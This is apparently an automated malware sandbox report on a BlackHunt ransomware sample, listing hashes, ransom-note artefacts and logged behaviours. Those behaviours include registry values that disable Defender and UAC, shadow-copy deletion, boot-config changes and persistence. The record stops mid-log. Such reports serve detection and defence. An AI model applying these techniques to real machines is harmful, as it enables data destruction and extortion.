Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
126s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 23:13 UTC
Static task
static1
Behavioral task
behavioral1
Sample
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
Resource
win10v2004-20231222-en
General
-
Target
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
-
Size
707KB
-
MD5
db12d57af1217ac75771f6a52965b4be
-
SHA1
80ab2675a35a043cd6326b13daf0f9fd9693c027
-
SHA256
46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37
-
SHA512
391d4b79d13946166c224239475a510ca1f70ac530d9903d14fd31f4108363132fee385f81c2ab6dd69ab128ba99bf89e87467e25aa725c5551bbc8e501b2df8
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G8Xvnh:6uaTmkZJ+naie5OTamgEoKxLWd/h
Malware Config
Extracted
C:\Program Files\#BlackHunt_ReadMe.hta
iabDdCewx@gmail.com
Teikobest@gmail.com
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2208 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 288 bcdedit.exe 520 bcdedit.exe -
Renames multiple (2880) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2608 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\R: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\I: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\K: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\G: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\W: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\S: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\H: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\P: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\A: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\V: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\N: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\L: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\X: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\O: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\U: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\J: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\B: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\M: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\T: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened (read-only) \??\Y: 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Ho_Chi_Minh 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_zh_4.4.0.v20140623020002.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_ReadMe.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_videoinset.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#BlackHunt_Private.key 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui_5.5.0.165303.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-api.xml 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\CET 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\7-Zip\Lang\es.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Palau 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.forms.nl_zh_4.4.0.v20140623020002.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-coredump.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\common.luac 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Managua 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_ButtonGraphic.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\javaws.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-remote.xml 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\README.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_Private.key 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_ReadMe.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.properties 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Monterrey 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_Private.key 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Honolulu 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\org-openide-filesystems.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-attach.xml 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Australia\Brisbane 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_ButtonGraphic.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\#BlackHunt_ReadMe.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\MANIFEST.MF 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_ReadMe.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-masterfs-nio2_ja.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-appui.xml 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\locale\tl\LC_MESSAGES\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes.nl_ja_4.4.0.v20140623020002.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Monrovia 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\#BlackHunt_ReadMe.txt 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\vlc.mo 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\eclipse_update_120.jpg 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_ReadMe.hta 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.swt.theme.nl_zh_4.4.0.v20140623020002.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_zh_CN.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Windhoek 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File created C:\Program Files\VideoLAN\VLC\plugins\lua\#BlackHunt_Private.key 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.workbench_3.106.1.v20140827-1737.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert_5.5.0.165303.jar 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_ButtonGraphic.png 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2252 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1140 vssadmin.exe 1152 vssadmin.exe 2420 vssadmin.exe 1744 vssadmin.exe 2268 vssadmin.exe -
Modifies registry class 12 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 schtasks.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ schtasks.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeRestorePrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeBackupPrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeTakeOwnershipPrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeAuditPrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeSecurityPrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeIncBasePriorityPrivilege 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe Token: SeBackupPrivilege 1516 vssvc.exe Token: SeRestorePrivilege 1516 vssvc.exe Token: SeAuditPrivilege 1516 vssvc.exe Token: SeBackupPrivilege 2544 wbengine.exe Token: SeRestorePrivilege 2544 wbengine.exe Token: SeSecurityPrivilege 2544 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2992 wrote to memory of 2736 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 30 PID 2992 wrote to memory of 2736 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 30 PID 2992 wrote to memory of 2736 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 30 PID 2992 wrote to memory of 2736 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 30 PID 2992 wrote to memory of 2928 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 32 PID 2992 wrote to memory of 2928 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 32 PID 2992 wrote to memory of 2928 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 32 PID 2992 wrote to memory of 2928 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 32 PID 2992 wrote to memory of 2600 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 34 PID 2992 wrote to memory of 2600 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 34 PID 2992 wrote to memory of 2600 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 34 PID 2992 wrote to memory of 2600 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 34 PID 2736 wrote to memory of 2712 2736 cmd.exe 35 PID 2736 wrote to memory of 2712 2736 cmd.exe 35 PID 2736 wrote to memory of 2712 2736 cmd.exe 35 PID 2992 wrote to memory of 2620 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 36 PID 2992 wrote to memory of 2620 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 36 PID 2992 wrote to memory of 2620 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 36 PID 2992 wrote to memory of 2620 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 36 PID 2928 wrote to memory of 2628 2928 cmd.exe 37 PID 2928 wrote to memory of 2628 2928 cmd.exe 37 PID 2928 wrote to memory of 2628 2928 cmd.exe 37 PID 2992 wrote to memory of 1756 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 38 PID 2992 wrote to memory of 1756 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 38 PID 2992 wrote to memory of 1756 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 38 PID 2992 wrote to memory of 1756 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 38 PID 2992 wrote to memory of 2648 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 42 PID 2992 wrote to memory of 2648 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 42 PID 2992 wrote to memory of 2648 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 42 PID 2992 wrote to memory of 2648 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 42 PID 2992 wrote to memory of 1544 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 43 PID 2992 wrote to memory of 1544 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 43 PID 2992 wrote to memory of 1544 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 43 PID 2992 wrote to memory of 1544 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 43 PID 2992 wrote to memory of 2404 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 45 PID 2992 wrote to memory of 2404 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 45 PID 2992 wrote to memory of 2404 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 45 PID 2992 wrote to memory of 2404 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 45 PID 2992 wrote to memory of 2744 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 47 PID 2992 wrote to memory of 2744 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 47 PID 2992 wrote to memory of 2744 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 47 PID 2992 wrote to memory of 2744 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 47 PID 2620 wrote to memory of 2552 2620 cmd.exe 49 PID 2620 wrote to memory of 2552 2620 cmd.exe 49 PID 2620 wrote to memory of 2552 2620 cmd.exe 49 PID 1756 wrote to memory of 1660 1756 cmd.exe 50 PID 1756 wrote to memory of 1660 1756 cmd.exe 50 PID 1756 wrote to memory of 1660 1756 cmd.exe 50 PID 2992 wrote to memory of 2032 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 51 PID 2992 wrote to memory of 2032 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 51 PID 2992 wrote to memory of 2032 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 51 PID 2992 wrote to memory of 2032 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 51 PID 2992 wrote to memory of 268 2992 46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe 54 PID 2992 wrote to memory of 268 